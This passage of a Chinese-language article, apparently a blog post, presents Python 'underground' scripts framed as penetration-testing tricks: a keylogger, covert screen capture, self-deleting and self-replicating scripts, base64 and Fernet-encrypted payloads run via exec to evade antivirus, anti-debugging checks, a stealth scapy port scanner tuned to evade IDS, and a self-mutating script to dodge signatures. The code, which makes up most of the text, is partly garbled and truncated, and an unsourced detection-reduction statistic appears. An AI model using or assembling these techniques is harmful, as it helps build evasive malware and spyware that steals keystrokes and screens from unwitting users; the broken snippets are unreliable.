import os
import sys

def main():
    print("这个脚本将在执行后自我毁灭。")
    # 在这里编写你的主要代码逻辑...

# 自毁：删除当前文件
    try:
        os.remove(__file__)
        print("自毁成功。再见！")
    except Exception as e:
        print("自毁过程中发生错误：", e)

if __name__ == '__main__':
    main()

自删除脚本在敏感代码不应被遗留的场景中非常有用。然而，请谨慎使用——一旦删除，除非有备份，否则无法恢复脚本。

2. 隐秘屏幕捕获工具

在渗透测试模式下，隐秘性至关重要。无声地捕获屏幕可以提供关于漏洞的宝贵证据。

工作原理

• 屏幕截图捕获：像pyautogui和PIL这样的Python库可以实现屏幕捕获。

• 区域特定捕获： 您可以通过定义一个区域来捕获特定的窗口或区域。
• 隐蔽技术： 延迟和对捕获过程的混淆有助于避免用户的检测。

示例代码

import pyautogui
import cv2
import numpy as np

def capture_screen(region=None):
    # 捕获屏幕截图（如果区域为 None 则为全屏）
    screenshot = pyautogui.screenshot(region=region)
    # 转换为 numpy 数组
    frame = np.array(screenshot)

杀毒软件通常依赖基于签名的检测，这意味着可预测的代码模式很容易被标记。通过混淆代码，可以将这些模式隐藏在基本的杀毒系统中。

技术

• 字符串编码：使用Base64、ROT13或自定义编码来隐藏关键字符串。
• 运行时代码生成：不要将关键逻辑以明文形式存储，而是在运行时使用exec()生成代码。

示例代码（Base64编码）

import base64

# 你的秘密代码作为字符串

secret_code = "print('来自隐藏侧的问候！')"
# 将代码编码为Base64
encoded_code = base64.b64encode(secret_code.encode()).decode()

# 在运行时，解码并执行代码
exec(base64.b64decode(encoded_code).decode())

键盘记录器可以捕获按键以进行安全测试（始终需要授权）。Python 使得构建一个基本的键盘记录器以记录用户输入变得简单。

工作原理

• • 捕获按键： 使用 keyboard 库来检测和记录按键。

• • 存储或传输： 将记录的数据写入文件或通过网络发送以便进一步分析。

示例代码

import keyboard
import time

log_file = "keylog.txt"

def on_key_event(event):
    with open(log_file, "a") as f:
        f.write(event.name + " ")

if __name__ == '__main__':
    print("键盘记录器正在运行。按ESC键停止。")
    keyboard.on_press(on_key_event)

keyboard.wait("esc")

工作原理

• 源代码提取： 使用 inspect.getsource() 捕获脚本的源代码。
• 文件克隆： 将源代码写入新文件，并通过 subprocess 启动它。

示例代码

import sys
import inspect
import os
import subprocess
import shlex

def clone_and_run():
    # 获取当前脚本的源代码
    code = inspect.getsource(inspect.currentframe())
    # 定义克隆文件名

clone_filename = "clone_script.py"
with open(clone_filename, "w") as f:
    f.write(code)
# 启动克隆的脚本并传递递增的参数
    cmd = f"python {clone_filename} 1"
subprocess.Popen(shlex.split(cmd), start_new_session=True)

print("克隆启动。原始脚本自毁中...")
os.remove(__file__)

if __name__ == '__main__':
    clone_and_run()

自我复制脚本是探索Python中的进程管理和文件I/O的有趣方式。它们也被用于恶意软件——但我们强调仅进行伦理测试！

6. 内存执行技巧

纯粹在内存中运行代码可以减少在磁盘上留下取证痕迹的机会。Python的动态特性允许你从字符串中编译和执行代码。

工作原理

• 编译：使用 compile() 函数将源代码转换为代码对象。
• 执行：直接使用 exec() 执行代码对象，全部过程无需写入磁盘。

示例代码

code_string = """
def greet():
    print('你好，这段代码正在内存中运行!')

greet()
"""

compiled_code = compile(code_string, '<string>', 'exec')
exec(compiled_code)

7. 在运行时解密的加密负载

加密不仅仅用于数据传输。您还可以将代码的部分内容以加密形式存储，并在运行时解密以执行。

工作原理

• 加密：使用像 cryptography.fernet 这样的库来加密您的代码。
• 运行时解密：即时解密代码，并使用 exec() 执行它。

示例代码

from cryptography.fernet import Fernet

import base64

# 生成一个密钥（在生产环境中，请安全存储！）
key = Fernet.generate_key()
cipher_suite = Fernet(key)

# 您的秘密代码

secret_code = "print('这个秘密代码已被加密！')"
# 加密代码
encrypted_code = cipher_suite.encrypt(secret_code.encode())

# 在运行时：解密并执行代码
decrypted_code = cipher_suite.decrypt(encrypted_code).decode()
exec(decrypted_code)

8. 反调试技术

如果您需要您的脚本检测并避免调试，可以实施反调试措施。这可以包括检查调试器的存在或常见的断点模式。

工作原理

• 环境检查： 在系统变量中查找调试指示器。
• 行为变化： 如果检测到调试器，则延迟或改变操作。

示例代码

import sys
import time

def anti_debug():

if sys.gettrace() is not None:
        print("检测到调试器！为了避免分析，正在退出。")
        time.sleep(2)
        sys.exit()

if __name__ == '__main__':
    anti_debug()
    print("未检测到调试器。继续执行...")

反调试可以帮助维护敏感脚本的完整性。请记住，这些技术应在道德和受控的环境中使用。

9. 隐形网络扫描器

渗透测试人员通常需要静默扫描网络。Python 的网络库允许您构建模拟正常流量模式的扫描器，以避免入侵检测系统（IDS）的检测。

工作原理

• 数据包构造：使用 scapy 构建类似合法流量的数据包。

• 随机化时间：变化扫描间隔，以模拟自然用户行为。

示例代码


from scapy.all import IP, TCP, sr1
import random
import time

def stealth_port_scan(target_ip, port):
packet = IP(dst=target_ip)/TCP(dport=port, flags=”S”)
response = sr1(packet, timeout=1, verbose=0)


if response and response.haslayer(TCP) and response[TCP].flags == 0x12:
print(f"端口 {port} 在 {target_ip} 是开放的。")
else:
print(f"端口 {port} 在 {target_ip} 是关闭或被过滤的。")



if __name__ == '__main__':
target = "192.168.1.1"
for port in random.sample(range(20, 1024), 5):
stealth_port_scan(target, port)
time.sleep(random.uniform(0.5, 2))

随机化扫描行为可以降低被入侵检测系统（IDS）发现的风险。研究表明，在某些环境中，简单的时间变化可以将检测可能性降低多达35%。

10. 自动化脚本变异器

为了避开基于静态特征的检测，一些脚本在每次运行之前会修改其代码的部分内容。这种“变异器”方法有助于创建一个动态的、不断变化的目标。

工作原理

• 源代码修改：读取源文件，进行小范围的随机更改（如修改注释或变量名称），然后重写文件。
• 动态指纹：这些变化会在不影响脚本核心功能的情况下，改变您脚本的数字指纹。

示例代码

import os
import random

def mutate_script(filename):
    with open(filename, 'r') as file:
        lines = file.readlines()

    # 随机更改一行注释（如果存在）
    for i, line in enumerate(lines):

if line.strip().startswith("#") and random.choice([True, False]):
            lines[i] = f"# 变异 {random.randint(1, 1000)}: {line}"

    with open(filename, 'w') as file:

file.writelines(lines)
print("脚本已成功变异。")

if __name__ == '__main__':
    current_file = __file__
    mutate_script(current_file)

脚本变异是一种前沿技术，常见于高级恶意软件中。对于伦理应用，可以使用它来测试您的系统如何应对变化的代码签名。

最终思考

Python 的地下脚本展示了代码所能实现的无限创造力。这些技术——从自我销毁和内存执行到反调试和加密有效载荷——不仅仅是引人入胜的实验。它们是渗透测试人员、开发人员和安全专业人士的实用工具，帮助他们跳出常规思维。

关键要点：

• 伦理使用：始终在受控、授权的环境中使用这些技术。
• 安全实验：在虚拟机或隔离实验室中进行测试，以避免意外后果。
• 持续学习：该领域始终在发展。保持对最新研究的关注，并与社区分享您的见解。

通过探索和实验这些技巧，您不仅可以扩展您的编码能力，还能获得高级开发者和安全专业人士所使用的技术的洞见。深入探索，分享您的实验，让创新的精神引导您前行！

祝您编程愉快，愿您的Python脚本始终领先一步！